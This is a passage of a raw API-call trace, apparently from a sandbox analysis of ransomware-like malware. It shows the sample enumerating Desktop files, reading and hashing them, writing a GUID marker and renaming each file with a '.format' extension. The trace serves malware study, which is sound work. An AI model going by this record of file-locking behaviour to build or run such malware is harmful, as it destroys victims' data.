out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.120] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.120] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.120] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.120] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.120] GetLastError () returned 0x0 [0067.120] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.120] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.120] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1acf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.120] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.120] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.120] CloseHandle (hObject=0x5c8) returned 1 [0067.121] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W_6RWJXn.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w_6rwjxn.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W_6RWJXn.pdf.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w_6rwjxn.pdf.format")) returned 1 [0067.122] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa860f710, ftCreationTime.dwHighDateTime=0x1d4cc1a, ftLastAccessTime.dwLowDateTime=0x9885d7d0, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x9885d7d0, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xLckuuDeKXG", cAlternateFileName="XLCKUU~1")) returned 1 [0067.122] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c85c0, ftCreationTime.dwHighDateTime=0x1d4cf2d, ftLastAccessTime.dwLowDateTime=0xc2171170, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc2171170, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x10719, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zbn0rhaHx NfXQs.flv", cAlternateFileName="ZBN0RH~1.FLV")) returned 1 [0067.122] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbn0rhaHx NfXQs.flv") returned=".flv" [0067.122] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbn0rhaHx NfXQs.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbn0rhahx nfxqs.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.122] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=67353) returned 1 [0067.122] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.124] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x106f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.124] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.125] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x10719, lpOverlapped=0x0) returned 1 [0067.125] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.125] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.125] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.125] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0067.126] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.126] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.126] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.126] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.126] GetLastError () returned 0x0 [0067.126] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.126] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0067.127] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x10719, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.127] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.127] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.127] CloseHandle (hObject=0x5c8) returned 1 [0067.128] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbn0rhaHx NfXQs.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbn0rhahx nfxqs.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zbn0rhaHx NfXQs.flv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zbn0rhahx nfxqs.flv.format")) returned 1 [0067.129] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c85c0, ftCreationTime.dwHighDateTime=0x1d4cf2d, ftLastAccessTime.dwLowDateTime=0xc2171170, ftLastAccessTime.dwHighDateTime=0x1d4d562, ftLastWriteTime.dwLowDateTime=0xc2171170, ftLastWriteTime.dwHighDateTime=0x1d4d562, nFileSizeHigh=0x0, nFileSizeLow=0x10719, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zbn0rhaHx NfXQs.flv", cAlternateFileName="ZBN0RH~1.FLV")) returned 0 [0067.129] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0067.129] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d270 [0067.129] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.129] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.129] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.130] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.130] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.131] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.131] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.132] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.132] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.133] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.133] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.134] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.134] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.134] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.134] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.134] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.134] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.134] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.134] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.134] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.134] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d478 | out: hHeap=0x5d0000) returned 1 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.135] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 